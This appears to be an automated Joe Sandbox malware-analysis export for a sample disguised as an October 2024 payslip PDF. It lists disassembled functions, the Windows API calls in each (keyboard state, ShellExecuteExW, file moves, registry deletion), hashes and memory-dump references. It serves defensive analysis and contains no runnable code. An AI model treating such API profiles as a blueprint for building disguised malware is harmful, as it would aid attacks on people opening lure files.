Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e63495cd5bf74ae190337618bee8bf42834022411dd7cc7b9900e08266fe71fe
Instruction ID: a06430441549b3a080218f5bf8959fc4947331d892d62346ed2aa12e605372f0
Opcode Fuzzy Hash: e63495cd5bf74ae190337618bee8bf42834022411dd7cc7b9900e08266fe71fe
Instruction Fuzzy Hash: BAB18B71600225EFDF14CF68D985BBD7BB2FF64705F088169EC489B295D734A990CBA0

Function 00CA2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00CDC417,00000004,00000000,00000000,00000000), ref: 00CA2ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00CDC417,00000004,00000000,00000000,00000000,000000FF), ref: 00CA2B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00CDC417,00000004,00000000,00000000,00000000), ref: 00CDC46A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00CDC417,00000004,00000000,00000000,00000000), ref: 00CDC4D6

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: ec11331d5a0d4ff72ab1df0ecf0b43e7e43c9863f8b62c86cc995b540e24321f
Instruction ID: 59e57f432097e13e7fa09f4b78fc78e3a50426b69100d8f3f4e080f6460698c3
Opcode Fuzzy Hash: ec11331d5a0d4ff72ab1df0ecf0b43e7e43c9863f8b62c86cc995b540e24321f
Instruction Fuzzy Hash: 4F410B312047A29BC7358B2D9DD87777BB2AF97308F14881AE16787660C6759D42F720

Function 00D07368 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00D0737F

Part of subcall function 00CC0FF6: std::exception::exception.LIBCMT ref: 00CC102C
Part of subcall function 00CC0FF6: __CxxThrowException@8.LIBCMT ref: 00CC1041

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00D073B6
EnterCriticalSection.KERNEL32(?), ref: 00D073D2
_memmove.LIBCMT ref: 00D07420
_memmove.LIBCMT ref: 00D0743D
LeaveCriticalSection.KERNEL32(?), ref: 00D0744C
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00D07461
InterlockedExchange.KERNEL32(?,000001F6), ref: 00D07480

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: d9c6a6b91e04c845485ccce002c26d199b878546a9a8e04079a8841ce826ac2e
Instruction ID: 9c502fa1c900134bb48e623ad0a09a574b9b26741d27a7ed3ec34a97ace7b935
Opcode Fuzzy Hash: d9c6a6b91e04c845485ccce002c26d199b878546a9a8e04079a8841ce826ac2e
Instruction Fuzzy Hash: BA317931904205EBDB10DFA5DD85EAEBBB8EF45710B1440B9FD04EB286DB30EA51DBA4

Function 00D26442 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00D2645A
GetDC.USER32(00000000), ref: 00D26462
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D2646D
ReleaseDC.USER32(00000000,00000000), ref: 00D26479
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00D264B5
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00D264C6
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00D29299,?,?,000000FF,00000000,?,000000FF,?), ref: 00D26500
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00D26520

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 542a00d818667965ae53376e098e844438813133f7bc86db45c69bc05bedc68f
Instruction ID: 04e7e9fa486f6bcaf87b90a4c924bab3f2eef2d5a009bfd01611e2d5687114cf
Opcode Fuzzy Hash: 542a00d818667965ae53376e098e844438813133f7bc86db45c69bc05bedc68f
Instruction Fuzzy Hash: 2C316D72201214BFEB218F50DC4AFEA3FA9EF29765F044065FE08DA295D6759C42CB74

Function 00CFC072 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00CFC087
_memcmp.LIBCMT ref: 00CFC0A9
_memcmp.LIBCMT ref: 00CFC0C1
_memcmp.LIBCMT ref: 00CFC0D4
_memcmp.LIBCMT ref: 00CFC0EE
_memcmp.LIBCMT ref: 00CFC101
_memcmp.LIBCMT ref: 00CFC119
_memcmp.LIBCMT ref: 00CFC134

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 0abd0b85b96ed66aa495a017fd6daa7d0f420d4b45658d9dec5e3e4b9e07f03d
Instruction ID: 64daa98715127f6357524baddc40206261efacdcba1cfb627bf46fbe01dd618b
Opcode Fuzzy Hash: 0abd0b85b96ed66aa495a017fd6daa7d0f420d4b45658d9dec5e3e4b9e07f03d
Instruction Fuzzy Hash: FF218371F0020DBBD694A522DE92FBF235CEE21394F084024FF0596683EB51DE2691B6

Function 00D0ED8E Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

Part of subcall function 00CBFEC6: _wcscpy.LIBCMT ref: 00CBFEE9

_wcstok.LIBCMT ref: 00D0EEFF
_wcscpy.LIBCMT ref: 00D0EF8E
_memset.LIBCMT ref: 00D0EFC1

Strings

X, xrefs: 00D0EFFE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 4d320a4c731b8bf8dcacdc343d63ad155a8108db1a494e91bb23168b3df6203e
Instruction ID: 80a810e24881b94fb639a9025db3a3c72439f7953b9cfb5353b9c439a2efab0d
Opcode Fuzzy Hash: 4d320a4c731b8bf8dcacdc343d63ad155a8108db1a494e91bb23168b3df6203e
Instruction Fuzzy Hash: 7AC17E715083019FC724EF24C885B6AB7E4FF85314F14492DF89A9B2A2DB30ED45DBA2

Function 00CA1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f09dd7e59465dc5b89b6235b1317afd06db4e1913bb4d3417f30ada537f839
Instruction ID: 6e50998e6d55edd3c7d20c30310adcecd54aa59aa5a948543d73d720bb0f69fd
Opcode Fuzzy Hash: e1f09dd7e59465dc5b89b6235b1317afd06db4e1913bb4d3417f30ada537f839
Instruction Fuzzy Hash: 68718F3090410AEFCB14DF59CC45EBEBBB9FF8A314F188159F915AA251C730AA51CF64

Function 00D16E8A Relevance: 10.7, APIs: 7, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f99888ee0887864d46d782ec134517bf2387667a40b26d2357d31001028cfb93
Instruction ID: 29611c861fd8c2948cfdd747cdcc2d0ebfa97da547a928661a8cafdf2d29254a
Opcode Fuzzy Hash: f99888ee0887864d46d782ec134517bf2387667a40b26d2357d31001028cfb93
Instruction Fuzzy Hash: BA61BC71508301ABC720EB24EC82EABB3B8EF89718F14891DF545972A2DE70DD45D7A2

Function 00D2B60B Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00FA5C20), ref: 00D2B6A5
IsWindowEnabled.USER32(00FA5C20), ref: 00D2B6B1
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00D2B795
SendMessageW.USER32(00FA5C20,000000B0,?,?), ref: 00D2B7CC
IsDlgButtonChecked.USER32(?,?), ref: 00D2B809
GetWindowLongW.USER32(00FA5C20,000000EC), ref: 00D2B82B
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00D2B843

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 8d6488147491ac6023a72c38df415daf083ec219bd744434a61474beb9b37f52
Instruction ID: 892595a50ac8ff99aa75fc9d2bf41b492713d8808fe19f6067875e2d37a27f03
Opcode Fuzzy Hash: 8d6488147491ac6023a72c38df415daf083ec219bd744434a61474beb9b37f52
Instruction Fuzzy Hash: 6671E334600324AFDB20DF64D894FAA7BB9FF69329F08446AE94597361C7B1AC41DB70

Function 00D1F732 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D1F75C
_memset.LIBCMT ref: 00D1F825
ShellExecuteExW.SHELL32(?), ref: 00D1F86A

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

Part of subcall function 00CBFEC6: _wcscpy.LIBCMT ref: 00CBFEE9

GetProcessId.KERNEL32(00000000), ref: 00D1F8E1
CloseHandle.KERNEL32(00000000), ref: 00D1F910

Strings

@, xrefs: 00D1F839

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: a78f04b54df6bbd8cfd309c5ea188a55dd12d4e5285127da511e412d85a812fd
Instruction ID: 690d3aaea5083d58827fd49ab97ad1ef56d53aa7ed68d5f7e44dc5108d05488c
Opcode Fuzzy Hash: a78f04b54df6bbd8cfd309c5ea188a55dd12d4e5285127da511e412d85a812fd
Instruction Fuzzy Hash: 4F6181B5A00619EFCF14EFA4D4819AEBBF5FF49314F148469E849AB351CB30AD41DBA0

Function 00D0145D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00D0149C
GetKeyboardState.USER32(?), ref: 00D014B1
SetKeyboardState.USER32(?), ref: 00D01512
PostMessageW.USER32(?,00000101,00000010,?), ref: 00D01540
PostMessageW.USER32(?,00000101,00000011,?), ref: 00D0155F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00D015A5
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00D015C8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: c5fb7a53da5c287188872c0ef552145c912d34daf55b304903fa1768c674efe7
Instruction ID: 4c6ba14d9d41e044d8e374dfc4f2c992bd5687679c2e504f8456d6c65464c1fd
Opcode Fuzzy Hash: c5fb7a53da5c287188872c0ef552145c912d34daf55b304903fa1768c674efe7
Instruction Fuzzy Hash: C351C3A4A047D53EFB3646348C49BBA7EA9AB46304F0C4589E1DD5A8D2C295DC88D770

Function 00D01276 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00D012B5
GetKeyboardState.USER32(?), ref: 00D012CA
SetKeyboardState.USER32(?), ref: 00D0132B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00D01357
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00D01374
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00D013B8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00D013D9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4bd76b637e55f624f04769c1d36f64bae91b69b57176f54b9d35583807234341
Instruction ID: e5ec142537851fd60d023549e55a58e7f39dac9018ddf56c0507b96072fe0c0d
Opcode Fuzzy Hash: 4bd76b637e55f624f04769c1d36f64bae91b69b57176f54b9d35583807234341
Instruction Fuzzy Hash: 7851E3A49047D57EFB3687348C55BBABFA9AB06300F0C8589E1DC868D2D395EC98D770

Function 00D0589F Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00D058AC
_wcsncpy.LIBCMT ref: 00D058E1
_wcsncpy.LIBCMT ref: 00D05913
_wcsncpy.LIBCMT ref: 00D05946
_wcsncpy.LIBCMT ref: 00D05988
_wcsncpy.LIBCMT ref: 00D059C2
_wcsncpy.LIBCMT ref: 00D059F1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 033b1732a78be60cf7c8ebd021b2b4fef7ac3f90dc98362dfa31e8a5cfab33bb
Instruction ID: d35ac35e725b6082d90ad8b3ff5ee470108050387f1a03b66ee3c62afd76b08c
Opcode Fuzzy Hash: 033b1732a78be60cf7c8ebd021b2b4fef7ac3f90dc98362dfa31e8a5cfab33bb
Instruction Fuzzy Hash: 49419569C2061876CB10EBB4DC86FCFB3A89F05311F50855AF918E3261E734E715D7A9

Function 00D038AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D048AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00D038D3,?), ref: 00D048C7

Part of subcall function 00D048AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00D038D3,?), ref: 00D048E0

lstrcmpiW.KERNEL32(?,?), ref: 00D038F3
_wcscmp.LIBCMT ref: 00D0390F
MoveFileW.KERNEL32(?,?), ref: 00D03927
_wcscat.LIBCMT ref: 00D0396F
SHFileOperationW.SHELL32(?), ref: 00D039DB

Strings

\*.*, xrefs: 00D03969

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 9f758a9b4893e117bba00e7a7a73fcd9bae4fc4caab69a3c114d588465dd1ef4
Instruction ID: e0b89dc63b65752e9274e2898c61f5809e6559ce860ef5a467d1578824dfabcb
Opcode Fuzzy Hash: 9f758a9b4893e117bba00e7a7a73fcd9bae4fc4caab69a3c114d588465dd1ef4
Instruction Fuzzy Hash: F8418FB15083849ED755EF64D481AEBB7ECEF89340F44092EF489C3291EA74D748CB66

Function 00D27500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D27519
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D275C0
IsMenu.USER32(?), ref: 00D275D8
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00D27620
DrawMenuBar.USER32 ref: 00D27633

Strings

0, xrefs: 00D2750D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 3ac0edee7045ec6af560cab5da6b86f0183d71389469fd7126766c6aa580a3fa
Instruction ID: 70a6eb760dc813becd66c3e333a5b9c7798b71aa35e190ce5557554cd248084c
Opcode Fuzzy Hash: 3ac0edee7045ec6af560cab5da6b86f0183d71389469fd7126766c6aa580a3fa
Instruction Fuzzy Hash: DC414471A04619AFDB20CF65E884E9ABBB8FB19319F088029F95597290D730ED10CFA0

Function 00D2122D Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00D2125C
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D21286
FreeLibrary.KERNEL32(00000000), ref: 00D2133D

Part of subcall function 00D2122D: RegCloseKey.ADVAPI32(?), ref: 00D212A3
Part of subcall function 00D2122D: FreeLibrary.KERNEL32(?), ref: 00D212F5
Part of subcall function 00D2122D: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00D21318

RegDeleteKeyW.ADVAPI32(?,?), ref: 00D212E0

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: d1d914fe0b74e476dcaa37e1d285467a52d6f740a954df0f1c4a113f291b9abc
Instruction ID: 8c97254d3513a66465c6369f98d5f4fb4fd4f6be9d399e49091622299dd79ab9
Opcode Fuzzy Hash: d1d914fe0b74e476dcaa37e1d285467a52d6f740a954df0f1c4a113f291b9abc
Instruction Fuzzy Hash: 10315B75901229BFDB14DB90EC89EFFB7BCEF28304F004579E501E2240DA709E459AB0

Function 00D2653C Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00D2655B
GetWindowLongW.USER32(00FA5C20,000000F0), ref: 00D2658E
GetWindowLongW.USER32(00FA5C20,000000F0), ref: 00D265C3
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00D265F5
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00D2661F
GetWindowLongW.USER32(00000000,000000F0), ref: 00D26630
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00D2664A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
